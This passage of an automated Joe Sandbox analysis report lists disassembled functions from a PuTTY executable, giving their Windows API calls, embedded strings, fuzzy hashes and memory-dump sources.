Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Window$CapturePlacement$BeepLongMessageRelease
String ID: ,
API String ID: 3018360031-3772416878
Opcode ID: 4c4ee8d28cffcb1e16955972c646d3b16fbee9cf70c6a5ceee3a983bde335b4f
Instruction ID: 62cd9395fdbfe61e33498d17fc5370738d62dbab895a7672c3612da20a8379d2
Opcode Fuzzy Hash: 4c4ee8d28cffcb1e16955972c646d3b16fbee9cf70c6a5ceee3a983bde335b4f
Instruction Fuzzy Hash: 8841F723E2C15256FBA49735A418B7A6EC1AFA1B80F344031DA4D836C6CF6CAD81DE09

Function 00007FF67867B120 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 66synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF67867B1A3
WaitForSingleObject.KERNEL32 ref: 00007FF67867B1B9
GetLastError.KERNEL32 ref: 00007FF67867B1C1

Part of subcall function 00007FF678617AD0: FormatMessageA.KERNEL32(?,?,?,?,?,?,?,00000000,00007FF67860DCDB), ref: 00007FF678617B7B

LocalFree.KERNEL32 ref: 00007FF67867B1EF
LocalFree.KERNEL32 ref: 00007FF67867B1FF

Part of subcall function 00007FF678617130: LocalAlloc.KERNEL32 ref: 00007FF67861725D
Part of subcall function 00007FF678617130: InitializeSecurityDescriptor.ADVAPI32 ref: 00007FF678617273
Part of subcall function 00007FF678617130: SetSecurityDescriptorOwner.ADVAPI32 ref: 00007FF67861728A
Part of subcall function 00007FF678617130: SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF6786172A2

Strings

CreateMutex("%s") failed: %s, xrefs: 00007FF67867B1CE

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: DescriptorLocalSecurity$Free$AllocCreateDaclErrorFormatInitializeLastMessageMutexObjectOwnerSingleWait
String ID: CreateMutex("%s") failed: %s
API String ID: 1132015839-2623464464
Opcode ID: bbeb3b4ab6db268fd85c93e9a9ab5333092b447f88002d561e7431a4a6f20bc1
Instruction ID: da91bc11f751f4d9cd0e72c1512122763d06d919622ca5318c0b340d25289399
Opcode Fuzzy Hash: bbeb3b4ab6db268fd85c93e9a9ab5333092b447f88002d561e7431a4a6f20bc1
Instruction Fuzzy Hash: B9212623A2D78191EA508B31A44437B6BA1EF95B90F340134EE8D83795DF3CDD459748

Function 00007FF6786A3098 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A30A7
FlsGetValue.KERNEL32(?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A30BC
FlsSetValue.KERNEL32(?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A30DD
FlsSetValue.KERNEL32(?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A310A
FlsSetValue.KERNEL32(?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A311B
FlsSetValue.KERNEL32(?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A312C
SetLastError.KERNEL32(?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A3147

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: be20319644ee280c18fa1c14b1b7ef3fa13c16217240b713059bc59993cee69d
Instruction ID: 385fb80e3faac4e44c7f5af22014b456e20ef273b4864387345a08280815e53a
Opcode Fuzzy Hash: be20319644ee280c18fa1c14b1b7ef3fa13c16217240b713059bc59993cee69d
Instruction Fuzzy Hash: 9D21B022B2C22222F65463705B8207B6A828F447B0F300634D93ED7BC6EE2CEC01670A

Function 00007FF6786B7B5C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF6786B7B8D
GetLastError.KERNEL32 ref: 00007FF6786B7B99
CloseHandle.KERNEL32 ref: 00007FF6786B7BB1
CreateFileW.KERNEL32 ref: 00007FF6786B7BDC
WriteConsoleW.KERNEL32 ref: 00007FF6786B7BFB

Strings

CONOUT$, xrefs: 00007FF6786B7BBD

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: dbc9a16b5eeee48a6ee48bd4ee0368ae37068463da30654803f503f6f6d7a1e9
Instruction ID: 11d1d29fe767b8cd88b83b4904deede35d5c9e931e935ed0605351ddf9d10bed
Opcode Fuzzy Hash: dbc9a16b5eeee48a6ee48bd4ee0368ae37068463da30654803f503f6f6d7a1e9
Instruction Fuzzy Hash: E1119632728B4196E3508B26F8443267BA1FB58BE4F600234EA1DC7794CF7CDD148B48

Function 00007FF6785D8260 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetStockObject.GDI32 ref: 00007FF6785D8280
SelectPalette.GDI32 ref: 00007FF6785D828F
ReleaseDC.USER32 ref: 00007FF6785D829F

Strings

wintw_hdc, xrefs: 00007FF6785D82B6
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/window.c, xrefs: 00007FF6785D82BD, 00007FF6785D82E7
wgs.term_hwnd, xrefs: 00007FF6785D82E0

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ObjectPaletteReleaseSelectStock
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/window.c$wgs.term_hwnd$wintw_hdc
API String ID: 3714893027-3486798234
Opcode ID: 9bb73d81192733acc6fea9fdd995e3dbd9e5e04040e086bf5101fc3356dcf9c0
Instruction ID: 530b92f571565e0b904c23a367ad40317c7cc063663a617262d7f96f78ccf7c3
Opcode Fuzzy Hash: 9bb73d81192733acc6fea9fdd995e3dbd9e5e04040e086bf5101fc3356dcf9c0
Instruction Fuzzy Hash: 98015216E3C923A1FA509B76EC487722B51BF64B91F714035CC0DC66E49E2CED49EB08

Function 00007FF67869C218 Relevance: 9.4, APIs: 6, Instructions: 415COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67869C247
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67869C31D

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bd737a2eeb7fa6a4c21db5890d005f92dde7c3970c0139e1f6a19456b06c67e1
Instruction ID: b141a357b49fd60ec50b0428696d9505e373a09eadcf6062ee02449b3c00d361
Opcode Fuzzy Hash: bd737a2eeb7fa6a4c21db5890d005f92dde7c3970c0139e1f6a19456b06c67e1
Instruction Fuzzy Hash: 01F1E933A2D696A9F7518F35855027E3F95AB51BA0F649039C78CC73C1CE2CEC65AB08

Function 00007FF6785EDDC0 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 474timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67869B8AC: _set_error_mode.LIBCMT ref: 00007FF67869B8D3

GetCaretBlinkTime.USER32 ref: 00007FF6785EE535

Strings

/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/terminal/terminal.c, xrefs: 00007FF6785EE078, 00007FF6785EE149, 00007FF6785EE1F3, 00007FF6785EE2EF, 00007FF6785EE3BB
term->wrap, xrefs: 00007FF6785EE142
x > 0, xrefs: 00007FF6785EE071
col >= 0 && col < line->cols, xrefs: 00007FF6785EE1EC, 00007FF6785EE2E8, 00007FF6785EE3B4

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: BlinkCaretTime_set_error_mode
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/terminal/terminal.c$col >= 0 && col < line->cols$term->wrap$x > 0
API String ID: 194089122-3097067695
Opcode ID: 35dd72f10746de7798588f7908d4c8cb98d09942c4acdf97e757d8d036e6503f
Instruction ID: a926659e17a1d7c3ed087b8896a477039f09b3d5f17fffc778affca813789be7
Opcode Fuzzy Hash: 35dd72f10746de7798588f7908d4c8cb98d09942c4acdf97e757d8d036e6503f
Instruction Fuzzy Hash: 40228F73A286868BFB688B35D844BAA7B60EB41744F144235CB5E87781DF3CF985C704

Function 00007FF6785D8090 Relevance: 9.1, APIs: 6, Instructions: 116COMMON

Download Yara Rule

APIs

SelectObject.GDI32 ref: 00007FF6785D818C
GetCharWidth32W.GDI32 ref: 00007FF6785D81A3
GetCharWidthW.GDI32 ref: 00007FF6785D81BF
SelectObject.GDI32 ref: 00007FF6785D81EB
GetCharWidth32A.GDI32 ref: 00007FF6785D8202
GetCharWidthA.GDI32 ref: 00007FF6785D821E

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Char$ObjectSelectWidthWidth32
String ID:
API String ID: 4136774150-0
Opcode ID: c725a2898587075f43e1dc2d463796dcb35102116dd02835240eaa5493979230
Instruction ID: 786319740c3e46cc29332716b9fa51192e559025c3fb49c79cd826b8c12a1256
Opcode Fuzzy Hash: c725a2898587075f43e1dc2d463796dcb35102116dd02835240eaa5493979230
Instruction Fuzzy Hash: 17417327E3881691FA608B79E8C427A6B91BFA8755F740532DC0DC33A4DE2CED459B18

Function 00007FF6786A3210 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF67869A691,?,?,?,?,00007FF6786A6773,?,?,00000000,00007FF6786A332E,?,?,?), ref: 00007FF6786A321F
FlsSetValue.KERNEL32(?,?,?,00007FF67869A691,?,?,?,?,00007FF6786A6773,?,?,00000000,00007FF6786A332E,?,?,?), ref: 00007FF6786A3255
FlsSetValue.KERNEL32(?,?,?,00007FF67869A691,?,?,?,?,00007FF6786A6773,?,?,00000000,00007FF6786A332E,?,?,?), ref: 00007FF6786A3282
FlsSetValue.KERNEL32(?,?,?,00007FF67869A691,?,?,?,?,00007FF6786A6773,?,?,00000000,00007FF6786A332E,?,?,?), ref: 00007FF6786A3293
FlsSetValue.KERNEL32(?,?,?,00007FF67869A691,?,?,?,?,00007FF6786A6773,?,?,00000000,00007FF6786A332E,?,?,?), ref: 00007FF6786A32A4
SetLastError.KERNEL32(?,?,?,00007FF67869A691,?,?,?,?,00007FF6786A6773,?,?,00000000,00007FF6786A332E,?,?,?), ref: 00007FF6786A32BF

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 1148fc4c0d35bbd3a571b67db096fae2734cc6304b1922bc55f22b24f00a6c59
Instruction ID: 03ddcd39222320b372589603face8c1cf1daa5df5e791802f205679f4271d615
Opcode Fuzzy Hash: 1148fc4c0d35bbd3a571b67db096fae2734cc6304b1922bc55f22b24f00a6c59
Instruction Fuzzy Hash: 57118122E2C26262F954A7715B4707B5A429F457B0F300335D93ED6BC6DE2CEC01670A

Function 00007FF6786ACB84 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 305fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF6786ACC0B
WriteFile.KERNEL32 ref: 00007FF6786ACED2
WriteFile.KERNEL32 ref: 00007FF6786ACF1B
GetLastError.KERNEL32 ref: 00007FF6786ACFDC

Strings

MZx, xrefs: 00007FF6786ACBDE, 00007FF6786ACC5E, 00007FF6786ACD0F

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID: MZx
API String ID: 2718003287-2575928145
Opcode ID: 84bb804351b2715cd8c68702ce643e48e67f41c0ca54e1dbf60fe47e9234377e
Instruction ID: 45b44c4d59df35fb1ea0f409c81112eedc422e232eff3dc845752b35306a1f24
Opcode Fuzzy Hash: 84bb804351b2715cd8c68702ce643e48e67f41c0ca54e1dbf60fe47e9234377e
Instruction Fuzzy Hash: C8D10233B28A9199E710CF79D4402AD3BB1FB45BA8B204236DE4DD7B99DE38D816D704

Function 00007FF678619170 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(FFFFFFFE,00000000,0000022102FA6D50,?,00000000,00000000,00000000,?,00007FF678617CA2), ref: 00007FF6786192A5

Strings

UTF-8, xrefs: 00007FF6786191B5

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Info
String ID: UTF-8
API String ID: 1807457897-243350608
Opcode ID: 31daed4d13549b50bec842ae628bc01fa7fd1093a734074d9845411709ca4802
Instruction ID: ddf64852ec94488dc76df73def4be670e5928ee4ae37abd73fd1ba08aee267d9
Opcode Fuzzy Hash: 31daed4d13549b50bec842ae628bc01fa7fd1093a734074d9845411709ca4802
Instruction Fuzzy Hash: CE711223E2C19261FA645734549427F6EA26F41764FB80235DD9EC72E7EE2CEC42A208

Function 00007FF6786A8CFC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6786A3098: GetLastError.KERNEL32(?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A30A7
Part of subcall function 00007FF6786A3098: FlsGetValue.KERNEL32(?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A30BC
Part of subcall function 00007FF6786A3098: SetLastError.KERNEL32(?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A3147

TranslateName.LIBCMT ref: 00007FF6786A8D69
TranslateName.LIBCMT ref: 00007FF6786A8DA4
GetACP.KERNEL32(?,?,?,00000000,00000092,00007FF678698900), ref: 00007FF6786A8DE9
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00007FF678698900), ref: 00007FF6786A8E11

Strings

utf8, xrefs: 00007FF6786A8EF5

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValidValue
String ID: utf8
API String ID: 1791977518-905460609
Opcode ID: 147aec7f4f243be30fdf1adca31b102f843554426d767e7d2694068b4c2702b6
Instruction ID: 32827dae2ac7f0bcd3c2a467075b10913f3c8b73002fac55358bdd87323e16dd
Opcode Fuzzy Hash: 147aec7f4f243be30fdf1adca31b102f843554426d767e7d2694068b4c2702b6
Instruction Fuzzy Hash: 56518323A28763A1EB64AB3194005BB2BA5AF54F80F644131DE4C877C5EF7DED51E30A

Function 00007FF6786B69FC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6786B6A2A

Part of subcall function 00007FF6786B68B4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6786B68C8

_get_daylight.LIBCMT ref: 00007FF6786B6A4C

Part of subcall function 00007FF6786B6884: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6786B6898

Part of subcall function 00007FF6786A44E4: HeapFree.KERNEL32(?,?,?,00007FF6786A8382,?,?,?,00007FF6786A7F43,?,?,00000000,00007FF6786A8C14,?,?,?,00007FF6786A8B1F), ref: 00007FF6786A44FA
Part of subcall function 00007FF6786A44E4: GetLastError.KERNEL32(?,?,?,00007FF6786A8382,?,?,?,00007FF6786A7F43,?,?,00000000,00007FF6786A8C14,?,?,?,00007FF6786A8B1F), ref: 00007FF6786A4504

GetTimeZoneInformation.KERNEL32(?,?,00000000,00000000,?,00007FF6786B6F58), ref: 00007FF6786B6A73
_get_daylight.LIBCMT ref: 00007FF6786B6A3B

Part of subcall function 00007FF6786B6854: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6786B6868

Strings

?, xrefs: 00007FF6786B6C2D

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: ?
API String ID: 3458911817-1684325040
Opcode ID: f20ff13d110c062c7a24faccda77cd1f8ebd87376358724fd8a91b8ccfae5989
Instruction ID: 85b948650445c3065e9d021df9df5a485ba06ae01d5336f0751fcce8f8bf9c80
Opcode Fuzzy Hash: f20ff13d110c062c7a24faccda77cd1f8ebd87376358724fd8a91b8ccfae5989
Instruction Fuzzy Hash: BB416133A282029AE750DF35D8814BA7F61BF48798B645135FA4EC7696DF3DE8009708

Function 00007FF6785F439F Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 102windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF678626500: GetLocalTime.KERNEL32(?,?,?,?,?,?,?,00007FF6785FB996), ref: 00007FF67862651C

wcsftime.LIBCMT ref: 00007FF6785F43DD
SendDlgItemMessageA.USER32 ref: 00007FF6785F4466
SendDlgItemMessageA.USER32 ref: 00007FF6785F4486
SendDlgItemMessageA.USER32 ref: 00007FF6785F44A9

Strings

%Y-%m-%d %H:%M:%S, xrefs: 00007FF6785F43C9

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
